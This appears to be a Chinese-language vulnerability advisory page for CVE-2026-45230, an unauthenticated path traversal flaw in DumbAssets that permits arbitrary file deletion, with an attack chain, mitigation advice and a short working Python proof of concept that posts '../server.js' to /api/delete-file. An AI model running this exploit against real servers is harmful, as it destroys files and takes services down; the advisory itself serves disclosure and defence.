IPBUF安全漏洞报告
English
CVE-2026-45230 CVSS 9.1 严重

CVE-2026-45230 DumbAssets路径遍历漏洞(任意文件删除)

披露日期: 2026-05-18

漏洞信息

漏洞编号
CVE-2026-45230
漏洞类型
路径遍历
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
DumbAssets

相关标签

路径遍历任意文件删除拒绝服务DoSDumbAssetsCVE-2026-45230

漏洞概述

DumbAssets 1.0.11及之前版本存在严重的路径遍历漏洞。由于默认禁用认证,未经身份验证的攻击者可利用POST /api/delete-file接口中的filesToDelete参数,通过构造包含../序列的恶意请求绕过目录限制。该漏洞允许攻击者删除应用程序目录之外的任意文件,例如server.js或package.json,从而导致系统完全拒绝服务。

技术细节

该漏洞的根源在于DumbAssets在处理文件删除请求时,未能对用户输入的文件路径进行严格的规范化校验和边界检查。具体而言,应用程序的POST /api/delete-file接口接收filesToDelete数组参数,并在未经过滤的情况下直接将其用于拼接文件路径。这种不安全的处理方式允许攻击者通过插入路径遍历字符(如../)来打破预期的目录限制,访问父级目录甚至系统根目录。
在利用方面,攻击者只需向目标服务器发送特制的HTTP POST请求。由于该应用的认证机制是可选的且默认处于关闭状态,攻击者无需任何凭证即可发起攻击。攻击者在filesToDelete参数中填入包含../的恶意字符串(例如../../server.js或../../../etc/passwd)。一旦服务器端处理了该请求,便会执行删除操作。如果攻击者删除了核心运行文件(如Node.js的server.js)或配置文件(如package.json),将直接导致应用程序崩溃或无法重启,造成严重的拒绝服务(DoS)后果。

攻击链分析

STEP 1
侦察
攻击者识别出目标运行的是DumbAssets 1.0.11或更早版本,并确认/api/delete-file接口可访问。
STEP 2
漏洞利用
攻击者构造包含路径遍历序列(../)的恶意POST请求发送至/api/delete-file,目标文件设为关键系统文件。
STEP 3
影响达成
服务器端处理请求并删除指定文件(如server.js),导致应用程序崩溃或无法重启,实现拒绝服务攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit(target_url): """ Exploit Path Traversal in DumbAssets to delete arbitrary files. """ endpoint = f"{target_url}/api/delete-file" # Attempting to delete server.js to cause DoS payload = { "filesToDelete": ["../server.js"] } try: response = requests.post(endpoint, json=payload, timeout=5) if response.status_code == 200: print(f"[+] Exploit successful! Server responded with: {response.text}") else: print(f"[-] Exploit failed. Status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "http://127.0.0.1:3000" # Replace with actual target exploit(target)

影响范围

DumbAssets <= 1.0.11

防御指南

临时缓解措施
建议立即升级到修复了该漏洞的最新版本。如果无法立即升级,应确保在防火墙或反向代理层面限制对/api/delete-file接口的访问来源,并过滤请求体中包含路径遍历字符(如../)的数据。此外,务必启用应用的强制身份验证功能,防止匿名用户执行敏感操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表